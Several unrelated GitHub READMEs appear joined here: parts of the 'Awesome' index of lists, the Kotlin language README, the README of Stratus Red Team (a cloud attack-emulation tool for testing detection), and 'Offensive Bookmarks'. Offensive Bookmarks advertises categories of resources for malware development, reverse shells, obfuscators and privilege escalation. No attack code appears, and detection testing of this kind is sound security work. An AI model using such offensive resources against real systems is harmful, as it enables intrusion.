- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/matttga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [QR Code](https://github.com/aureooms/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
- [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
- [Awesome Viewer](http://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists.
|
# Stratus Red Team
[](http://golang.org) [](https://github.com/DataDog/stratus-red-team/actions/workflows/test.yml) [](https://github.com/DataDog/stratus-red-team/actions/workflows/static-analysis.yml)  [](https://api.securityscorecards.dev/projects/github.com/DataDog/stratus-red-team) [](https://bestpractices.coreinfrastructure.org/projects/6530)
<p align="center">
<img src="./docs/logo.png" alt="Stratus Red Team" width="300" />
</p>
Stratus Red Team is "[Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)™" for the cloud, allowing to emulate offensive attack techniques in a granular and self-contained manner.
<p align="center">
<a href="https://github.com/DataDog/stratus-red-team/raw/main/docs/demo.gif">
<img src="./docs/demo.gif" alt="Terminal recording" />
</a>
</p>
Read the announcement blog posts:
- https://www.datadoghq.com/blog/cyber-attack-simulation-with-stratus-red-team/
- https://blog.christophetd.fr/introducing-stratus-red-team-an-adversary-emulation-tool-for-the-cloud/
## Getting Started
Stratus Red Team is a self-contained Go binary.
See the documentation at **[stratus-red-team.cloud](https://stratus-red-team.cloud/)**:
- [Stratus Red Team Concepts](https://stratus-red-team.cloud/user-guide/getting-started/#concepts)
- [Installing Stratus Red Team](https://stratus-red-team.cloud/user-guide/getting-started/#installation) - Homebrew formula, Docker image and pre-built binaries available
- [Available Attack Techniques](https://stratus-red-team.cloud/attack-techniques/list/), mapped to MITRE ATT&CK
## Installation
- Mac OS:
```
brew tap datadog/stratus-red-team https://github.com/DataDog/stratus-red-team
brew install datadog/stratus-red-team/stratus-red-team
```
- Linux / Windows / Mac OS: Download one of the [pre-built binaries](https://github.com/datadog/stratus-red-team/releases).
- Docker:
```bash
IMAGE="ghcr.io/datadog/stratus-red-team"
alias stratus="docker run --rm -v $HOME/.stratus-red-team/:/root/.stratus-red-team/ -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN -e AWS_DEFAULT_REGION $IMAGE"
```
## Community
The following section lists posts and projects from the community leveraging Stratus Red Team.
Open-source projects:
- [Threatest](https://github.com/DataDog/threatest)
- [AWS Threat Detection with Stratus Red Team](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection)
Blog posts:
- [AWS threat emulation and detection validation with Stratus Red Team and Datadog Cloud SIEM](https://www.datadoghq.com/blog/aws-threat-emulation-detection-validation-datadog/)
- [Adversary emulation on AWS with Stratus Red Team and Wazuh](https://wazuh.com/blog/adversary-emulation-on-aws-with-stratus-red-team-and-wazuh/)
- [Sky’s the Limit: Stratus Red Team for Azure](https://blog.detect.dev/posts/azure_for_stratus.html)
- [Detecting realistic AWS cloud-attacks using Azure Sentinel](https://medium.com/falconforce/falconfriday-detecting-realistic-aws-cloud-attacks-using-azure-sentinel-0xff1c-b62fd45c87dc)
- [A Data Driven Comparison of Open Source Adversary Emulation Tools](https://www.picussecurity.com/resource/blog/data-driven-comparison-between-open-source-adversary-emulation-tools)
- [Making Security Relevant in the Cloud](https://www.cloudreach.com/en/technical-blog/making-security-relevant-in-the-cloud/)
- [Detonating attacks with Datadog Stratus Red Team](https://chrisdunne.com/post/detonating-attacks-with-datadog-stratus-red-team)
- [AWS CloudTrail cheatsheet](https://invictus-ir.medium.com/aws-cloudtrail-cheat-sheet-dcf2b92e37e2)
- [Adversary emulation on GCP with Stratus Red Team and Wazuh](https://wazuh.com/blog/adversary-emulation-on-gcp-with-stratus-red-team-and-wazuh/)
- [Automated First-Response in AWS using Sigma and Athena](https://invictus-ir.medium.com/automated-first-response-in-aws-using-sigma-and-athena-615940bedc56)
Talks:
- [Purple Teaming & Adversary Emulation in the Cloud with Stratus Red Team, DEF CON Cloud Village 2022](https://www.youtube.com/watch?v=rXFFuYbkntU) (recorded after the event as the talks were not recorded)
- [Threat-Driven Development with Stratus Red Team](https://www.youtube.com/watch?v=AbWwcqLwcYI) by Ryan Marcotte Cobb
- [Cloudy With a Chance of Purple Rain: Leveraging Stratus Red Team - BSides Portland 2022](https://www.youtube.com/watch?v=Oq9ObzATZDI)
Videos:
- [Stratus Red Team: AWS EC2 Instance Credential Theft | Threat SnapShot](https://www.youtube.com/watch?v=TVS-M6DrSPw)
## Using Stratus Red Team as a Go Library
See [Examples](./examples) and [Programmatic Usage](https://stratus-red-team.cloud/user-guide/programmatic-usage/).
## Development
### Building Locally
``` bash
make
./bin/stratus --help
```
### Running Locally
```bash
go run cmd/stratus/*.go list
```
### Running the Tests
```bash
make test
```
### Building the Documentation
For local usage:
```
pip install mkdocs-material mkdocs-awesome-pages-plugin
make docs
mkdocs serve
```
### Acknowledgments
Maintainer: [@christophetd](https://twitter.com/christophetd)
Similar projects (see [how Stratus Red Team compares](https://stratus-red-team.cloud/comparison/)):
- [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) by Red Canary
- [Leonidas](https://github.com/FSecureLABS/leonidas) by F-Secure
- [pacu](https://github.com/RhinoSecurityLabs/pacu) by Rhino Security Labs
- [Amazon GuardDuty Tester](https://github.com/awslabs/amazon-guardduty-tester)
- [CloudGoat](https://github.com/RhinoSecurityLabs/cloudgoat) by Rhino Security Labs
Inspiration and relevant resources:
- https://expel.io/blog/mind-map-for-aws-investigations/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws
|
[](https://confluence.jetbrains.com/display/ALL/JetBrains+on+GitHub)
[](https://teamcity.jetbrains.com/buildConfiguration/Kotlin_KotlinPublic_Compiler?branch=%3Cdefault%3E&buildTypeTab=overview&mode=builds)
[](https://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.jetbrains.kotlin%22)
[](https://www.apache.org/licenses/LICENSE-2.0)
[](https://ge.jetbrains.com/scans?search.rootProjectNames=Kotlin)
# Kotlin Programming Language
Welcome to [Kotlin](https://kotlinlang.org/)!
It is an open-source, statically typed programming language supported and developed by [JetBrains](https://www.jetbrains.com/) and open-source contributors.
Some handy links:
* [Kotlin Site](https://kotlinlang.org/)
* [Getting Started Guide](https://kotlinlang.org/docs/tutorials/getting-started.html)
* [Try Kotlin](https://play.kotlinlang.org/)
* [Kotlin Standard Library](https://kotlinlang.org/api/latest/jvm/stdlib/index.html)
* [Issue Tracker](https://youtrack.jetbrains.com/issues/KT)
* [Kotlin YouTube Channel](https://www.youtube.com/channel/UCP7uiEZIqci43m22KDl0sNw)
* [Forum](https://discuss.kotlinlang.org/)
* [Kotlin Blog](https://blog.jetbrains.com/kotlin/)
* [Subscribe to Kotlin YouTube channel](https://www.youtube.com/channel/UCP7uiEZIqci43m22KDl0sNw)
* [Follow Kotlin on Twitter](https://twitter.com/kotlin)
* [Public Slack channel](https://slack.kotlinlang.org/)
* [TeamCity CI build](https://teamcity.jetbrains.com/project.html?tab=projectOverview&projectId=Kotlin)
## Kotlin Multiplatform capabilities
Support for multiplatform programming is one of Kotlin’s key benefits. It reduces time spent writing and maintaining the same code for [different platforms](https://kotlinlang.org/docs/reference/mpp-supported-platforms.html) while retaining the flexibility and benefits of native programming.
* [Kotlin Multiplatform Mobile](https://kotlinlang.org/lp/mobile/) for sharing code between Android and iOS
* [Getting Started with Kotlin Multiplatform Mobile Guide](https://kotlinlang.org/docs/mobile/create-first-app.html)
* [Kotlin Multiplatform Benefits](https://kotlinlang.org/docs/reference/multiplatform.html)
* [Share code on all platforms](https://kotlinlang.org/docs/reference/mpp-share-on-platforms.html#share-code-on-all-platforms)
* [Share code on similar platforms](https://kotlinlang.org/docs/reference/mpp-share-on-platforms.html#share-code-on-similar-platforms)
## Editing Kotlin
* [Kotlin IntelliJ IDEA Plugin](https://kotlinlang.org/docs/tutorials/getting-started.html) ([source code](https://github.com/JetBrains/intellij-community/tree/master/plugins/kotlin))
* [Kotlin Eclipse Plugin](https://kotlinlang.org/docs/tutorials/getting-started-eclipse.html)
* [Kotlin Sublime Text Package](https://github.com/vkostyukov/kotlin-sublime-package)
## Build environment requirements
This repository is using [Gradle toolchains](https://docs.gradle.org/current/userguide/toolchains.html) feature
to select and auto-provision required JDKs from [AdoptOpenJdk](https://adoptopenjdk.net) project.
Unfortunately [AdoptOpenJdk](https://adoptopenjdk.net) project does not provide required JDK 1.6 and 1.7 images,
so you could either download them manually and provide path to installation via `JDK_1_6` and `JDK_1_7` environment variables or
use following SDK managers:
- [Asdf-vm](https://asdf-vm.com/)
- [Jabba](https://github.com/shyiko/jabba)
- [SDKMAN!](https://sdkman.io/)
Alternatively, it is still possible to only provide required JDKs via environment variables
(see [gradle.properties](./gradle.properties#L5) for supported variable names). To ensure Gradle uses only JDKs
from environmental variables - disable Gradle toolchain auto-detection by passing `-Porg.gradle.java.installations.auto-detect=false` option
(or put it into `$GRADLE_USER_HOME/gradle.properties`).
For local development, if you're not working on the standard library, it's OK to avoid installing JDK 1.6 and JDK 1.7.
Add `kotlin.build.isObsoleteJdkOverrideEnabled=true` to the `local.properties` file, so build will only use JDK 1.8+. Note, that in this
case, build will have Gradle remote build cache misses for some tasks.
Note: The JDK 6 for MacOS is not available on Oracle's site. You can install it by
```bash
$ brew tap homebrew/cask-versions
$ brew install --cask java6
```
On Windows you might need to add long paths setting to the repo:
git config core.longpaths true
## Building
The project is built with Gradle. Run Gradle to build the project and to run the tests
using the following command on Unix/macOS:
./gradlew <tasks-and-options>
or the following command on Windows:
gradlew <tasks-and-options>
On the first project configuration gradle will download and setup the dependencies on
* `intellij-core` is a part of command line compiler and contains only necessary APIs.
* `idea-full` is a full blown IntelliJ IDEA Community Edition to be used in the plugin module.
These dependencies are quite large, so depending on the quality of your internet connection
you might face timeouts getting them. In this case, you can increase timeout by specifying the following
command line parameters on the first run:
./gradlew -Dhttp.socketTimeout=60000 -Dhttp.connectionTimeout=60000
## Important gradle tasks
- `clean` - clean build results
- `dist` - assembles the compiler distribution into `dist/kotlinc/` folder
- `install` - build and install all public artifacts into local maven repository
- `coreLibsTest` - build and run stdlib, reflect and kotlin-test tests
- `gradlePluginTest` - build and run gradle plugin tests
- `compilerTest` - build and run all compiler tests
To reproduce TeamCity build use `-Pteamcity=true` flag. Local builds don't run proguard and have jar compression disabled by default.
**OPTIONAL:** Some artifacts, mainly Maven plugin ones, are built separately with Maven.
Refer to [libraries/ReadMe.md](libraries/ReadMe.md) for details.
To build Kotlin/Native, see
[kotlin-native/README.md](kotlin-native/README.md#building-from-source).
## <a name="working-in-idea"></a> Working with the project in IntelliJ IDEA
Working with the Kotlin project requires at least IntelliJ IDEA 2019.1. You can download IntelliJ IDEA 2019.1 [here](https://www.jetbrains.com/idea/download).
After cloning the project, to import the project in IntelliJ choose the project directory in the Open project dialog. Then, after project opened, select
`File` -> `New` -> `Module from Existing Sources...` in the menu, and select `build.gradle.kts` file in the project's root folder.
In the import dialog, select `use default gradle wrapper`.
To be able to run tests from IntelliJ easily, check `Delegate IDE build/run actions to Gradle` and choose `Gradle Test Runner` in the Gradle runner settings after importing the project.
At this time, you can use the latest released `1.6.x` version of the Kotlin plugin for working with the code. To make sure you have the latest version installed, use `Tools` -> `Kotlin` -> `Configure Kotlin Plugin Updates`.
For handy work with compiler tests it's recommended to use [
Kotlin Compiler Test Helper](https://github.com/demiurg906/test-data-helper-plugin)
### Dependency verification
We have a [dependencies verification](https://docs.gradle.org/current/userguide/dependency_verification.html) feature enabled in the
repository for all Gradle builds. Gradle will check hashes (md5 and sha256) of used dependencies and will fail builds with
`Dependency verification failed` errors when local artifacts are absent or have different hashes listed in the
[verification-metadata.xml](https://github.com/JetBrains/kotlin/blob/master/gradle/verification-metadata.xml) file.
It's expected that `verification-metadata.xml` should only be updated with the commits that modify the build. There are some tips how
to perform such updates:
- Use auto-generation for getting an initial list of new hashes (verify updates relate to you changes).
`./gradlew -i --write-verification-metadata sha256,md5 -Pkotlin.native.enabled=true help`
*(any other task may be used instead of `help`)*
- Consider removing old versions from the file if you are updating dependencies.
- Leave meaningful `origin` attribute (instead of `Generated by Gradle`) if you did some manual verification of the artifact.
- Always do manual verification if several hashes are needed, and a new `also-trust` tag has to be added.
- If you’re adding a dependency with OS mentioning in an artifact name (`darwin`, `mac`, `osx`, `linux`, `windows`), remember to add
counterparts for other platforms.
## Using -dev and -SNAPSHOT versions
We publish `-dev` and `-SNAPSHOT` versions frequently.
For `-dev` versions you can use the [list of available versions](https://maven.pkg.jetbrains.space/kotlin/p/kotlin/bootstrap/org/jetbrains/kotlin/kotlin-compiler/maven-metadata.xml) and include this maven repository:
`maven { url = uri("https://maven.pkg.jetbrains.space/kotlin/p/kotlin/bootstrap") }`
For `-SNAPSHOT` versions that are updated daily, you can use the [list of available versions](https://oss.sonatype.org/content/repositories/snapshots/org/jetbrains/kotlin/kotlin-compiler/maven-metadata.xml) and include this maven repository:
`maven { url = uri("https://oss.sonatype.org/content/repositories/snapshots/") }`
# License
Kotlin is distributed under the terms of the Apache License (Version 2.0). See [license folder](license/README.md) for details.
# Contributing
Please be sure to review Kotlin's [contributing guidelines](docs/contributing.md) to learn how to help the project.
|
# Offensive Bookmarks
## A collection of bookmarks for penetration testers, bug bounty hunters, malware developers, reverse engineers and anyone who is just interested in infosec topics.
## Description
Offensive Bookmarks is a curated collection of browser bookmarks specifically designed for security professionals, including penetration testers, malware developers, and reverse engineers. This comprehensive repository provides a valuable resource for individuals involved in cybersecurity research, vulnerability assessment, and offensive security activities.
## How to install
* Download [offensive-bookmarks.html](https://github.com/kargisimos/offensive-bookmarks/blob/master/offensive-bookmarks.html)
* **Firefox**: Bookmarks -> Manage bookmarks -> Import and Backup -> Import Bookmarks from HTML -> select **offensive-bookmarks.html**
* **Edge**: Settings -> Profiles -> Import browser data -> Import from other browsers -> Import from Favorites or bookmarks HTML file -> select **offensive-bookmarks.html**
* **Chrome**: Bookmarks -> Import bookmarks and settings -> Bookmarks HTML file -> select **offensive-bookmarks.html**
## Key features
The general categories are:
* **OSINT**
>face recognition, username lookup, subdomains, SSL certificates, web technologies, assets, urls, whois info, online vulnerability scanners, web archives, mac address lookup, email lookup, search engines, geolocation, camera, wireless
* **cheat sheets**
>web cheat sheets, linux cheat sheets, windows cheatsheets, offensive tools cheat sheets
* **malware development**
>code repositories, blogs, youtube channels
* **malware analysis**
>tools, sandboxes, resources
* **shells**
>collection of reverse shells
* **miscellaneous**
>encoders, decoders, file transfers, file formatting
* **blogs & resources**
>general info blogs, youtube channels
* **forums**
>forums
* **obfuscation**
>command prompt obfuscators, powershell obfuscators, python obfuscators, javascript obfuscators, php obfuscators, C/C++ obfuscators, .NET obfuscators
* **privilege escalation**
>windows privilege escalation, linux privilege escalation
* **passwords, hashes & wordlists**
>default passwords, wordlists, cracking tools
* **practice**
>cybersecurity labs |
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<br>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://standardresume.co">
<img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/>
</a>
</p>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
